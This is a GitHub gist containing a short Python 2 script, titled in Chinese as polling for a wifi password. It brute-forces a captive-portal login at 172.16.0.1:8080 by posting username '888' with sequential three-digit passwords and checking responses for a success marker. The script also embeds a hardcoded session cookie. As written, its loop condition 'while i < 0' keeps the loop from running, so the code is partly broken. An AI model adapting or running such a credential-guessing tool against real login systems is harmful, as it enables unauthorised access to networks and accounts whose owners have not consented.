Skip to content

Instantly share code, notes, and snippets.

@sivagao
Created March 25, 2013 08:10
Show Gist options
  • Select an option

  • Save sivagao/5235586 to your computer and use it in GitHub Desktop.

Select an option

Save sivagao/5235586 to your computer and use it in GitHub Desktop.
轮询wifi密码
import HTMLParser
import httplib
from datetime import datetime
import time
import urllib
#import urllib2,cookielib
def postData(name, password):
user = "username"
pwd = "password"
#cookie=cookielib.CookieJar()
#opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))
#urllib2.install_opener(opener)
params=urllib.urlencode({"IDType":"1", "PassWord":password, "UserName":name, "autorem":"on"})
headers={"Accept":"text/html","User-Agent":"IE","Content-Type":"application/x-www-form-urlencoded"}
headers={
"Cache-Control": "max-age=0",
"Origin": "http://172.16.0.1:8080",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0",
"Content-Type":"application/x-www-form-urlencoded",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Referer": "http://172.16.0.1:8080/founderbnLogin.php",
"Accept-Encoding": "gzip,deflate,sdch",
"Accept-Language": "en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4",
"Accept-Charset": "GBK,utf-8;q=0.7,*;q=0.3",
"Cookie": "FounderbnNotice=1; PHPSESSID=a5523432d77c93f0ce77da42fa63f363; autoRember=1; username="+ name + "; password=" + password
}
website="172.16.0.1"
#website="www.baidu.com"
path="/cgi-bin/cgilogin"
#path="/s"
conn=httplib.HTTPConnection(website, 8080)
print params
try:
conn.request(method = "POST", url = path, body=params, headers=headers)
r = conn.getresponse()
print "CODE: ", r.status, r.reason
if r.status != 302:
print "SUCCESS"
data = r.read()
if data.find("logoutWindow=1", 0) == -1:
print "SUCCESS"
if data.find("http://172.16.0.1:8080/cgi-bin/cgifault?Err=%c8%cf%d6%a4%ca%a7%b0%dc%a3%ba%c4%fa%d2%d1%be%ad%b5%c7%c2%bd%a3%ac%d6%d8%b8%b4%c8%cf%d6%a4", 0) > 0:
print "FINDED"
return 2
print data
finally:
conn.close()
return 0
i = 0
while i < 0:
if i < 10:
t = "00" + str(i)
elif i < 100:
t = "0" + str(i)
elif i < 1000:
t = "" + str(i)
print t
postData("888", t)
time.sleep(1)
if postData("888", t) > 0:
break
time.sleep(1)
i = i + 1;
#http://172.16.0.1:8080/cgi-bin/cgifault?Err=%c8%cf%d6%a4%ca%a7%b0%dc%a3%ba%c4%fa%d2%d1%be%ad%b5%c7%c2%bd%a3%ac%d6%d8%b8%b4%c8%cf%d6%a4
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment